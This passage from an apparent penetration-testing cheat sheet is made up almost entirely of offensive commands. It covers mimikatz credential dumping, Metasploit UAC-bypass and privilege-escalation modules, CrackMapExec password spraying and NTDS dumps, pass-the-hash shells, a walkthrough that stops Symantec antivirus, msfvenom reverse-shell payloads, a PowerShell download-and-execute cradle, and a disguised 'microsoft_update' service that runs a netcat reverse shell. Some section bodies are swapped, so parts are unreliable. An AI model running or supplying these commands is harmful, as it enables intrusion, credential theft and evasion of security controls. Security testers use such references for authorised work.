31d6cfe0d16ae931b73c59d7e0c089c0 }\n0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)\n0;56683  NTLM                                          n.s. (Credentials KO)\n0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)\n\nmeterpreter \u003e kerberos\n[+] Running as SYSTEM\n[*] Retrieving kerberos credentials\nkerberos credentials\n====================\n\nAuthID   Package    Domain           User              Password\n------   -------    ------           ----              --------\n0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  \n0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     \n0;56683  NTLM                                          \n0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   \n0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword\n\n\nmeterpreter \u003e mimikatz_command -f sekurlsa::searchPasswords\n[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }\n\nmeterpreter \u003e mimikatz_command -f sekurlsa::logonpasswords\n```\n## Mimikatz on Linux\nIn case no VM is available\n### step 1\n```bash\nwinetricks msasn1\n```\n### step 2\n```bash\n╰─\u003e$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe\n0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth \u003e= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.\n\n  .#####.   mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39\n .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)\n ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n ## \\ / ##       \u003e http://blog.gentilkiwi.com/mimikatz\n '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )\n  '#####'        \u003e http://pingcastle.com / http://mysmartlogon.com   ***/\n\nmimikatz # \n\n```\n\n# Privilege Escalation of Windows \n\n### JuicyPotato\n```bash\nJuicyPotato.exe -l \u003cPORT\u003e -p c:\\windows\\system32\\cmd.exe -t * \n```\n### Migrate Process\n```bash\nmsf \u003e ps\nmsf exploit(bypassuac) \u003e migrate \u003cpid\u003e\n```\n\n### Windows Escalate UAC Protection Bypass\n```bash\nmsf \u003e use exploit/windows/local/bypassuac\nmsf exploit(bypassuac) \u003e set session 1\nmsf exploit(bypassuac) \u003e exploit\n```\n\n### Windows Escalate UAC Protection Bypass (In Memory Injection)\n```bash\nmsf \u003e use exploit/windows/local/bypassuac_injection\nmsf exploit(bypassuac_injection) \u003e set session 1\nmsf exploit(bypassuac_injection) \u003e exploit\n```\n### Windows Escalate UAC Protection Bypass (Script Host Vulnerability)\n```bash\nmsf \u003e use windows/local/bypassuac_vbs\nmsf exploit(bypassuac_vbs) \u003e set session 1\nmsf exploit(bypassuac_vbs) \u003e exploit\n```\n### Windows Escalate UAC Execute RunAs\n```bash\nmsf \u003e use windows/local/ask\nmsf exploit(ask) \u003e set session 1\nmsf exploit(ask) \u003e exploit\n```\n\n### MS16-032 Secondary Logon Handle Privilege Escalation  Windows 7 32 bit\n```bash\nmsf \u003e use windows/local/ms16_032_secondary_logon_handle_privesc\nmsf exploit(ms16_032_secondary_logon_handle_privesc) \u003e set session 1\nmsf exploit(ms16_032_secondary_logon_handle_privesc) \u003e exploit\n```\n### Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)\n```bash\nmsf exploit(ms13_053_schlamperei) \u003eset session 1\nmsf exploit(ms13_053_schlamperei) \u003eexploit\n```\n\n## Crackmapexec V4.0\n\nEnemurate target\n```\nbash$ cme smb \u003ctarget\u003e \n```\n\nAccess to machine by valid username/password\n\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password\n```\n\nAccess to machine using the NTLM hash (if u see PWN3D the user hash administrator priveleges )\n```\nbash$ cme smb \u003ctarget\u003e -u username -H hash\n```\nListing shares\n\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password --shares\n```\nEnumerate active sessions \n```\nbash$ cme smb \u003ctarget\u003e -u username -p password --sessions\n```\nEnumerate users by bruteforcing RID's (default: 4000)\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password --rid-brute\n```\n\nExecute the specified command\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password -x 'whoami'\n```\nExecute the specified PowerShell command\n\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password -X 'whoami'\n```\nGet Hashes\n\n```\nbash$ cme smb \u003ctarget\u003e -u username -p password --sam\n```\n\n## CrackMapExec Cheat Sheet\n### Initial Enumeration\n```bash\ncrackmapexec smb \u003cip\u003e\n```\n\n### Testing null/guest authentication and listing shares\n```bash\ncrackmapexec smb targets.txt -u '' -p '' --shares\n```\n\n```bash\ncrackmapexec smb targets.txt -u 'Guest' -p '' --shares\n```\n\n### Enumerate users using ldap\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u '' -p '' --users\n```\n\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u users.txt -p \"\" -k\n```\n\n### Asreproast\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u \u003cusername\u003e -p \"\" --asreproast asrep.txt\n```\n\n### Bloodhound\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --bloodhound -ns \u003cip\u003e --collection All\n```\n\n### Group Policy Preferences\n- https://www.thehacker.recipes/ad/movement/credentials/dumping/group-policies-preferences\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -M gpp_password\n```\n\n### Creds Spray\n```bash\ncrackmapexec smb targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e\n```\n\n### Password Spray\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u users.txt -p \u003cpassword\u003e --continue-on-success\n```\n\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u users.txt -p \u003cpassword\u003e --no-bruteforce --continue-on-success\n```\n\n### STATUS_NOT_SUPPORTED: NTLM protocol not supported\nIn this case we can use the `-k` option which will use Kerberos protocol to authenticate.\n```bash\ncrackmapexec smb targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e -k\n```\n\n### List shares\n```bash\ncrackmapexec smb targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e -k --shares\n```\n\n### Spider_plus Module\nThe module `spider_plus` allows you to list and dump all files from all readable shares\n#### List all readable files\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -k -M spider_plus\n```\n\n#### Dump all files\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -M spider_plus -o READ_ONLY=false\n```\n\n#### Dump a specific file\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -k --get-file \u003ctarget_file\u003e \u003coutput_file\u003e --share \u003csharename\u003e\n```\n\n\n### MSSQL\n#### Test authentication\n```bash\ncrackmapexec mssql targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e\n```\n\n#### Execute commands using `xp_cmdshell`\n- `-X` for powershell and `-x` for cmd\n```bash\ncrackmapexec mssql \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e -X \u003ccommand_to_execute\u003e\n```\n\n#### Get a file\n```bash\ncrackmapexec mssql \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --get-file \u003coutput_file\u003e \u003ctarget_file\u003e\n```\n\n### Local Administrator authentication\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --local-auth\n```\n\n### Dump the LSA secrets\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --local-auth --lsa\n```\n\n### Recover the name of the gmsa account\n- https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent\nWe have two possibilities to recover the name of the gmsa account:\n- Using the `--gmsa-convert-id` option:\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --gmsa-convert-id \u003cid\u003e\n```\n- Decrypt the gmsa account in lsa with `--gmsa-decrypt-lsa`:\n```bash\ncrackmapexec ldap \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --gmsa-decrypt-lsa \u003cgmsa_account\u003e\n```\n\n### Dump LAPS password\n```bash\ncrackmapexec smb targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e --laps\n```\n\n### Dump the credentials of the dpapi\n```bash\ncrackmapexec smb targets.txt -u \u003cusername\u003e -p \u003cpassword\u003e --laps --dpapi\n```\n\n### Dump NTDS.dit\n```bash\ncrackmapexec smb \u003cdomain\u003e -u \u003cusername\u003e -p \u003cpassword\u003e --ntds\n```\n\n### References\n- https://github.com/mpgn/CrackMapExec\n- https://wiki.porchetta.industries/smb-protocol/scan-for-vulnerabilities\n\n\n## Crackmapexec to Empire agent\n\nFirst setup an Empire listener:\n```\n(Empire: listeners) \u003e set Name test\n(Empire: listeners) \u003e set Host 192.168.10.3\n(Empire: listeners) \u003e set Port 9090\n(Empire: listeners) \u003e set CertPath data/empire.pem\n(Empire: listeners) \u003e run\n(Empire: listeners) \u003e list\n\n[*] Active listeners:\n\n  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target\n  --    ----              ----                                 -------   ------------   --------    ---------------\n  1     test              http://192.168.10.3:9090                 native    5/0.0                      \n\n(Empire: listeners) \u003e \n```\n\nStart up Empire's RESTful API server:\n```\n#~ python empire --rest --user empireadmin --pass Password123!\n\n[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/\n * Starting Empire RESTful API on port: 1337\n * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml\n * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)\n```\nThe username and password that CME uses to authenticate to Empire's RESTful API are stored in the cme.conf file located at ~/.cme/cme.conf:\n```\n[Empire]\napi_host=127.0.0.1\napi_port=1337\nusername=empireadmin\npassword=Password123!\n\n[Metasploit]\nrpc_host=127.0.0.1\nrpc_port=55552\npassword=abc123\n```\nThen just run the empire_exec module and specify the listener name:\n```\n#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test\n```\n# Crackmapexec to Meterpreter\nWe can use the metinject module to directly inject meterpreter into memory using PowerSploit's Invoke-Shellcode.ps1 script.\n\nFirst setup your handler:\n```\nmsf \u003e use exploit/multi/handler \nmsf exploit(handler) \u003e set payload windows/meterpreter/reverse_https\npayload =\u003e windows/meterpreter/reverse_https\nmsf exploit(handler) \u003e set LHOST 192.168.10.3\nLHOST =\u003e 192.168.10.3\nmsf exploit(handler) \u003e set exitonsession false\nexitonsession =\u003e false\nmsf exploit(handler) \u003e exploit -j\n[*] Exploit running as background job.\n\n[*] Started HTTPS reverse handler on https://192.168.10.3:8443\nmsf exploit(handler) \u003e [*] Starting the payload handler...\n```\nThen just run the metinject module and specify the LHOST and LPORT values:\n```\n#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1\n```\n# Passing shell from Empire to Meterpreter metasploit \n\nmetasploit listner options\n```\nmsf \u003e use exploit/multi/handler\nmsf exploit(handler) \u003e set payload windows/meterpreter/reverse_http\npayload =\u003e windows/meterpreter/reverse_http\nmsf exploit(handler) \u003e set lhost 192.168.1.110\nlhost =\u003e 192.168.1.110\nmsf exploit(handler) \u003e set lport 2286\nlport =\u003e 2286\nmsf exploit(handler) \u003e set ExitOnSession false\nExitOnSession =\u003e false\nmsf exploit(handler) \u003e set SessionCommunicationTimeout 0\nSessionCommunicationTimeout =\u003e 0\nmsf exploit(handler) \u003e exploit -j\n```\n\nSetup Empire to send the agent to Metasploit\n```\nuse module code_execution/shellcode_inject\nset Host \u003cip\u003e\nset Port \u003cport\u003e\nexecute\n```\n# DeathStar\n```\n# Start the Empire console and RESTful API\npython empire --rest --username empireadmin --password Password123\n```\nThen grab, setup and run DeathStar:\n```\ngit clone https://github.com/byt3bl33d3r/DeathStar\n# Death Star is written in Python3\npip3 install -r requirements.txt\n./DeathStar.py\n```\n# Windows cmd.exe commands\n\n## Add user\n\n```\nnet user /add [username] [password]\n```\n## Add User as an admin\n```\nnet localgroup administrators [username] /add\n```\n## Add user to RDP group\n```\nNET LOCALGROUP \"Remote Desktop Users\" keyoke /ADD\n```\n\n# PTH_winexe : open shell without psexec\nExample :\u003cbr\u003e\n\n```\npth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe\n```\nReal Example :\u003cbr\u003e\n\n```\npth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe\n```\n# PTH-winexe to Meterpreter\n```\nmsf exploit(web_delivery) \u003e use exploit/multi/script/web_delivery \nmsf exploit(web_delivery) \u003e set target 2\ntarget =\u003e 2         \nmsf exploit(web_delivery) \u003e set payload windows/meterpreter/reverse_tcp\npayload =\u003e windows/meterpreter/reverse_tcp\nmsf exploit(web_delivery) \u003e set L\nset LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         \nmsf exploit(web_delivery) \u003e set LHOST 127.0.0.1\nLHOST =\u003e 127.0.0.1\nmsf exploit(web_delivery) \u003e set LPORT 1233\nLPORT =\u003e 1233\nmsf exploit(web_delivery) \u003e exploit \n[*] Exploit running as background job 0.\n\n[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?\n[*] Started reverse TCP handler on 127.0.0.1:1233 \n[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh\nmsf exploit(web_delivery) \u003e [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh\n[*] Server started.\n[*] Run the following command on the target machine:\npowershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');\n```\nCopy the powershell command into the cmd opened with pth_winexe\n# Active Directory\n```\n# current domain info\n[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n\n# domain trusts\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\n\n# current forest info\n[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()\n\n# get forest trust relationships\n([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()\n\n# get DCs of a domain\nnltest /dclist:offense.local\nnet group \"domain controllers\" /domain\n\n# get DC for currently authenticated session\nnltest /dsgetdc:offense.local\n\n# get domain trusts from cmd shell\nnltest /domain_trusts\n\n# get user info\nnltest /user:\"spotless\"\n\n# get DC for currently authenticated session\nset l\n\n# get domain name and DC the user authenticated to\nklist\n\n# get all logon sessions. Includes NTLM authenticated sessions\nklist sessions\n\n# kerberos tickets for the session\nklist\n\n# cached krbtgt\nklist tgt\n\n# whoami on older Windows systems\nset u\n```\n## BloodHound\n```\npowershell-import /path/to/BloodHound.ps1\npowershell Get-BloodHoundData | Export-BloodHoundCSV\n```\n# Symantec AV Bypass\n```\nDuring our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem:\nFirst We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)\n\n$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system\n\nThen let's Stop the AV  Service\n\ncd \"C:\\Program Files\\Symantec\\Symantec Endpoint Protection\"\nsmc.exe -stop\n\nNice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS \nso we used a reverse_https listener and psexec_psh to bypass it:\nmohamed@KeyStrOke:~$ msfconsole\nuse exploit/windows/smb/psexec_psh\nset payload windows/meterpreter/reverse_https\nset StageEncoder x86/shikata_ga_nai\nset EnableStageEncoding true\nset SMBUSER USERNAME\nset SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb\nset lhost IP\nset lport 443\nexploit -j\nand BOOM   :D\nServer username: NT AUTHORITY\\SYSTEM\nEnjoy your Session\n```\n# Kiwi collect credentials\n```\nmeterpreter \u003e load kiwi\nmeterpreter \u003e cred_all\n```\n# Network\n\n### Nmap Full Web Vulnerable Scan\n\n```\ncd /usr/share/nmap/scripts/\nwget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz \u0026\u0026 tar xzf nmap_nse_vulscan-2.0.tar.gz\nnmap -sS -sV --script=vulscan/vulscan.nse target\nnmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target\nnmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target\nnmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target\nnmap -sV --script=vuln target\nnmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target\n```\n\n### Dirb Dir Bruteforce\n\n```\ndirb http://IP:PORT /usr/share/dirb/wordlists/common.txt\n```\n\n### Nikto web server scanner\n\n```\nnikto -C all -h http://IP\n```\n\n### WordPress Scanner\n\n```\ngit clone https://github.com/wpscanteam/wpscan.git \u0026\u0026 cd wpscan\n./wpscan –url http://IP/ –enumerate p\n```\n\n\n### HTTP Fingerprinting\n\n```\nwget http://www.net-square.com/_assets/httprint_linux_301.zip \u0026\u0026 unzip httprint_linux_301.zip\ncd httprint_301/linux/\n./httprint -h http://IP -s signatures.txt\n```\n\n### WordPress Scanner\n\n```\ngit clone https://github.com/wpscanteam/wpscan.git \u0026\u0026 cd wpscan\n./wpscan –url http://IP/ –enumerate p\n```\n\n### SKIP Fish Scanner\n\n```\nskipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP\n```\n\n### Nmap Ports Scan\n\n```\n1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)\n1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)\n2)fargement\n3)data packed – like orginal one not scan packet\n4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target\n5)nmap –source-port 53 target\nnmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)\nnmap -Pn -T2 -sV –randomize-hosts IP1,IP2\nnmap –script smb-check-vulns.nse -p445 target (using NSE scripts)\nnmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)\nnmap -sA -PN -sN target\nnmap -sS -sV -T5 -F -A -O target (version detection)\nnmap -sU -v target (Udp)\nnmap -sU -P0 (Udp)\nnmap -sC 192.168.31.10-12 (all scan default)\n```\n\n### NC Scanning\n\n```\nnc -v -w 1 target -z 1-1000\nfor i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done\n```\n\n### Unicornscan\n\n```\nus -H -msf -Iv 192.168.56.101 -p 1-65535\nus -H -mU -Iv 192.168.56.101 -p 1-65535\n\n-H resolve hostnames during the reporting phase\n-m scan mode (sf - tcp, U - udp)\n-Iv - verbose\n```\n\n### Xprobe2 OS fingerprinting\n\n```\nxprobe2 -v -p tcp:80:open IP\n```\n\n### Samba Enumeration\n\n```\nnmblookup -A target\nsmbclient //MOUNT/share -I target -N\nrpcclient -U \"\" target\nenum4linux target\n```\n\n### SNMP Enumeration\n\n```\nsnmpget -v 1 -c public IP\nsnmpwalk -v 1 -c public IP\nsnmpbulkwalk -v2c -c public -Cn0 -Cr10 IP\n```\n\n### Windows Useful cmds\n\n```\nnet localgroup Users\nnet localgroup Administrators\nsearch dir/s *.doc\nsystem(\"start cmd.exe /k $cmd\")\nsc create microsoft_update binpath=\"cmd /K start c:\\nc.exe -d ip-of-hacker port -e cmd.exe\" start= auto error= ignore\n/c C:\\nc.exe -e c:\\windows\\system32\\cmd.exe -vv 23.92.17.103 7779\nmimikatz.exe \"privilege::debug\" \"log\" \"sekurlsa::logonpasswords\"\nProcdump.exe -accepteula -ma lsass.exe lsass.dmp\nmimikatz.exe \"sekurlsa::minidump lsass.dmp\" \"log\" \"sekurlsa::logonpasswords\"\nC:\\temp\\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits\nC:\\temp\\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits\n```\n\n### PuTTY Link tunnel\n\n```\nForward remote port to local address\ncmd.exe /c echo y | .\\plink.exe -P 22 -l \u003cUSER\u003e -pw \"password\" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT \u003cIP\u003e 2\u003e\u00261\n```\n\n### Meterpreter portfwd\n\n```\n# https://www.offensive-security.com/metasploit-unleashed/portfwd/\n# forward remote port to local address\nmeterpreter \u003e portfwd add –l 3389 –p 3389 –r 172.16.194.141\nkali \u003e rdesktop 127.0.0.1:3389\n```\n\n### Enable RDP Access\n\n```\nreg add \"hklm\\system\\currentcontrolset\\control\\terminal server\" /f /v fDenyTSConnections /t REG_DWORD /d 0\nnetsh firewall set service remoteadmin enable\nnetsh firewall set service remotedesktop enable\n```\n\n### Turn Off Windows Firewall\n\n```\nnetsh firewall set opmode disable\n```\n\n### Meterpreter VNC\\RDP\n\n```\ngit clone https://github.com/gentilkiwi/mimikatz.git\nprivilege::debug\nsekurlsa::logonPasswords full\n```\n\n### Mimikatz use\n\n```\nnet user test 1234 /add\nnet localgroup administrators test /add\n```\n\n### Passing the Hash\n\n```\ngit clone https://github.com/byt3bl33d3r/pth-toolkit\npth-winexe -U hash //IP cmd\n\nor\n\napt-get install freerdp-x11\nxfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP\n\nor\n\nmeterpreter \u003e run post/windows/gather/hashdump\nAdministrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::\nmsf \u003e use exploit/windows/smb/psexec\nmsf exploit(psexec) \u003e set payload windows/meterpreter/reverse_tcp\nmsf exploit(psexec) \u003e set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c\nmsf exploit(psexec) \u003e exploit\nmeterpreter \u003e shell\n```\n\n### Hashcat password cracking\n\n```\nhashcat -m 400 -a 0 hash /root/rockyou.txt\n```\n### Netcat examples\n\n```\nc:\u003e nc -l -p 31337\n#nc 192.168.0.10 31337\nc:\u003e nc -v -w 30 -p 31337 -l \u003c secret.txt\n#nc -v -w 2 192.168.0.10 31337 \u003e secret.txt\n```\n### Banner grabbing with NC\n\n```\nnc 192.168.0.10 80\nGET / HTTP/1.1\nHost: 192.168.0.10\nUser-Agent: Mozilla/4.0\nReferrer: www.example.com\n\u003center\u003e\n\u003center\u003e\n```\n### Window reverse shell\n\n```\nc:\u003enc -Lp 31337 -vv -e cmd.exe\nnc 192.168.0.10 31337\nc:\u003enc example.com 80 -e cmd.exe\nnc -lp 80\n\nnc -lp 31337 -e /bin/bash\nnc 192.168.0.10 31337\nnc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000\n```\n### Find SUID\\SGID root files\n\n```\n# Find SUID root files\nfind / -user root -perm -4000 -print\n\n# Find SGID root files:\nfind / -group root -perm -2000 -print\n\n# Find SUID and SGID files owned by anyone:\nfind / -perm -4000 -o -perm -2000 -print\n\n# Find files that are not owned by any user:\nfind / -nouser -print\n\n# Find files that are not owned by any group:\nfind / -nogroup -print\n\n# Find symlinks and what they point to:\nfind / -type l -ls\n```\n### Python shell\n\n```\npython -c 'import pty;pty.spawn(\"/bin/bash\")'\n```\n### Python\\Ruby\\PHP HTTP Server\n\n```\npython2 -m SimpleHTTPServer\npython3 -m http.server\nruby -rwebrick -e \"WEBrick::HTTPServer.new(:Port =\u003e 8888, :DocumentRoot =\u003e Dir.pwd).start\"\nphp -S 0.0.0.0:8888\n```\n### Get PIDs of process\n\n```\nfuser -nv tcp 80\nfuser -k -n tcp 80\n```\n### Hydra rdp Bruteforce\n\n```\nhydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp\n```\n### Mount Remote Windows Share\n\n```\nsmbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw\n```\n### Compiling Exploit in Kali\n\n```\ngcc -m32 -o output32 hello.c (32 bit)\ngcc -m64 -o output hello.c (64 bit)\n```\n### Compiling Windows Exploits on Kali\n\n```\nc:\u003enc -Lp 31337 -vv -e cmd.exe\nnc 192.168.0.10 31337\nc:\u003enc example.com 80 -e cmd.exe\nnc -lp 80\n\nnc -lp 31337 -e /bin/bash\nnc 192.168.0.10 31337\nnc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000\n```\n### Window reverse shell\n\n```\nwget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download\nwine mingw-get-setup.exe\nselect mingw32-base\ncd /root/.wine/drive_c/windows\nwget http://gojhonny.com/misc/mingw_bin.zip \u0026\u0026 unzip mingw_bin.zip\ncd /root/.wine/drive_c/MinGW/bin\nwine gcc -o ability.exe /tmp/exploit.c -lwsock32\nwine ability.exe\n```\n### NASM Commands\n\n```\nnasm -f bin -o payload.bin payload.asm\nnasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload\n```\n### SSH Pivoting\n```\nssh -D 127.0.0.1:1080 -p 22 user@IP\nAdd socks4 127.0.0.1 1080 in /etc/proxychains.conf\nproxychains commands target\n```\n### SSH Pivoting from One Network to Another\n\n```\nssh -D 127.0.0.1:1080 -p 22 user1@IP1\nAdd socks4 127.0.0.1 1080 in /etc/proxychains.conf\nproxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2\nAdd socks4 127.0.0.1 1081 in /etc/proxychains.conf\nproxychains commands target\n```\n### Pivoting Using metasploit\n\n```\nroute add X.X.X.X 255.255.255.0 1\nuse auxiliary/server/socks4a\nrun\nproxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E\n\nor\n\n# https://www.offensive-security.com/metasploit-unleashed/pivoting/\nmeterpreter \u003e ipconfig\nIP Address  : 10.1.13.3\nmeterpreter \u003e run autoroute -s 10.1.13.0/24\nmeterpreter \u003e run autoroute -p\n10.1.13.0          255.255.255.0      Session 1\nmeterpreter \u003e Ctrl+Z\nmsf auxiliary(tcp) \u003e use exploit/windows/smb/psexec\nmsf exploit(psexec) \u003e set RHOST 10.1.13.2\nmsf exploit(psexec) \u003e exploit\nmeterpreter \u003e ipconfig\nIP Address  : 10.1.13.2\n```\n### Exploit-DB search using CSV File\n\n```\ngit clone https://github.com/offensive-security/exploit-database.git\ncd exploit-database\n./searchsploit –u\n./searchsploit apache 2.2\n./searchsploit \"Linux Kernel\"\n\ncat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep \"\u003c|\u003c=\" | sort -k3\n```\n### MSF Payloads\n\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=\u003cIP Address\u003e X \u003e system.exe\nmsfvenom -p php/meterpreter/reverse_tcp LHOST=\u003cIP Address\u003e LPORT=443 R \u003e exploit.php\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=\u003cIP Address\u003e LPORT=443 -e -a x86 --platform win -f asp -o file.asp\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=\u003cIP Address\u003e LPORT=443 -e x86/shikata_ga_nai -b \"\\x00\" -a x86 --platform win -f c\n```\n### MSF Linux Reverse Meterpreter Binary\n\n```\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=\u003cIP Address\u003e LPORT=443 -e -f elf -a x86 --platform linux -o shell\n```\n### MSF Reverse Shell (C Shellcode)\n\n```\nmsfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b \"\\x00\\x0a\\x0d\" -a x86 --platform win -f c\n```\n### MSF Reverse Shell Python Script\n\n```\nmsfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py\n```\n### MSF Reverse ASP Shell\n\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=\u003cYour IP Address\u003e LPORT=\u003cYour Port to Connect On\u003e -f asp -a x86 --platform win -o shell.asp\n```\n### MSF Reverse Bash Shell\n\n```\nmsfvenom -p cmd/unix/reverse_bash LHOST=\u003cYour IP Address\u003e LPORT=\u003cYour Port to Connect On\u003e -o shell.sh\n```\n\n### MSF Reverse PHP Shell\n\n```\nmsfvenom -p php/meterpreter_reverse_tcp LHOST=\u003cYour IP Address\u003e LPORT=\u003cYour Port to Connect On\u003e -o shell.php\nadd \u003c?php at the beginning\nperl -i~ -0777pe's/^/\u003c?php \\n/' shell.php\n```\n\n### MSF Reverse Win Bin\n\n```\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=\u003cYour IP Address\u003e LPORT=\u003cYour Port to Connect On\u003e -f exe -a x86 --platform win -o shell.exe\n```\n\n### Linux Security Commands\n\n```\n# find programs with a set uid bit\nfind / -uid 0 -perm -4000\n\n# find things that are world writable\nfind / -perm -o=w\n\n# find names with dots and spaces, there shouldn’t be any\nfind / -name \" \" -print\nfind / -name \"..\" -print\nfind / -name \". \" -print\nfind / -name \" \" -print\n\n# find files that are not owned by anyone\nfind / -nouser\n\n# look for files that are unlinked\nlsof +L1\n\n# get information about procceses with open ports\nlsof -i\n\n# look for weird things in arp\narp 